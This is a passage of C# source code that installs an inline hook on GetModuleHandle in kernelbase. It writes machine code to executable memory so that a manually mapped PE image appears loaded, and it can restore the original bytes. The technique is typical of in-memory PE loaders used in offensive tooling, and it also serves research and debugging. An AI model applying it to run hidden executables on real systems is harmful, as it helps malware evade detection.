0: 48 b8 88 77 66 55 44 movabs rax,<address of newFunc>
7: 33 22 11
a: ff e0 jmp rax
*/
var patchBytes = new List<byte> { 0x48, 0xB8 };
patchBytes.AddRange(pointerBytes);
patchBytes.Add(0xFF);
patchBytes.Add(0xE0);
if (patchBytes.Count > patchLength)
throw new Exception("Patch length (" + patchBytes.Count + ")is greater than calculated space available (" + patchLength);
if (patchBytes.Count < patchLength)
{
patchBytes.AddRange(Enumerable.Range(0, patchLength - patchBytes.Count).Select(x => (byte)0x90));
}
_originalGetModuleHandleBytes =
Utils.PatchFunction("kernelbase", _getModuleHandleFuncName, patchBytes.ToArray());
return _originalGetModuleHandleBytes != null;
}
private IntPtr WriteNewFuncToMemory(IntPtr baseAddress, IntPtr getModuleHandleFuncAddress, int patchLength)
{
var newFuncBytes = new List<byte>
{
0x48, 0x85, 0xc9, 0x75, 0x0b,
0x48,
0xB8
};
var baseAddressPointerBytes = BitConverter.GetBytes(baseAddress.ToInt64());
newFuncBytes.AddRange(baseAddressPointerBytes);
newFuncBytes.Add(0xC3);
newFuncBytes.Add(0x48);
newFuncBytes.Add(0xB8);
var pointerBytes = BitConverter.GetBytes(getModuleHandleFuncAddress.ToInt64() + patchLength);
newFuncBytes.AddRange(pointerBytes);
var originalInstructions = new byte[patchLength];
Marshal.Copy(getModuleHandleFuncAddress, originalInstructions, 0, patchLength);
newFuncBytes.AddRange(originalInstructions);
newFuncBytes.Add(0xFF);
newFuncBytes.Add(0xE0);
/*
0: 48 85 c9 test rcx,rcx
3: 75 0b jne +0x0b
5: 48 b8 88 77 66 55 44 movabs rax,<Base Address of mapped PE>
c: 33 22 11
f: c3 ret
10: 48 b8 88 77 66 55 44 movabs rax,<Back to GetModuleHandle>
17: 33 22 11
... original replaced opcodes...
1a: ff e0 jmp rax
*/
_newFuncAlloc = NativeDeclarations.VirtualAlloc(IntPtr.Zero, (uint)newFuncBytes.Count,
NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_READWRITE);
Marshal.Copy(newFuncBytes.ToArray(), 0, _newFuncAlloc, newFuncBytes.Count);
_newFuncBytesCount = newFuncBytes.Count;
uint empty;
NativeDeclarations.VirtualProtect(_newFuncAlloc, (UIntPtr)newFuncBytes.Count, NativeDeclarations.PAGE_EXECUTE_READ, out empty);
return _newFuncAlloc;
}
private int CalculatePatchLength(IntPtr funcAddress)
{
var bytes = Utils.ReadMemory(funcAddress, 40);
var searcher = new BoyerMoore(new byte[] { 0x48, 0x8d, 0x4c });
var length = searcher.Search(bytes).FirstOrDefault();
if (length == 0)
{
searcher = new BoyerMoore(new byte[] { 0x4c, 0x8d, 0x44 });
length = searcher.Search(bytes).FirstOrDefault();
if (length == 0)
throw new Exception("Unable to calculate patch length, the function may have changed to a point it is is no longer recognised and this code needs to be updated");
}
return length;
}
public bool RevertAPIs()
{
Utils.PatchFunction("kernelbase", _getModuleHandleFuncName, _originalGetModuleHandleBytes);
Utils.ZeroOutMemory(_newFuncAlloc, _newFuncBytesCount);
Utils.FreeMemory(_newFuncAlloc);
return true;
}
}
public sealed class BoyerMoore
{
private readonly byte[] _needle;
private readonly int[] _charTable;
private readonly int[] _offsetTable;
public BoyerMoore(byte[] needle)
{
_needle = needle;
_charTable = MakeByteTable(needle);
_offsetTable = MakeOffsetTable(needle);
}
public IEnumerable<int> Search(byte[] haystack)
{
if (_needle.Length == 0)
yield break;
for (var i = _needle.Length - 1; i < haystack.Length;)
{
int j;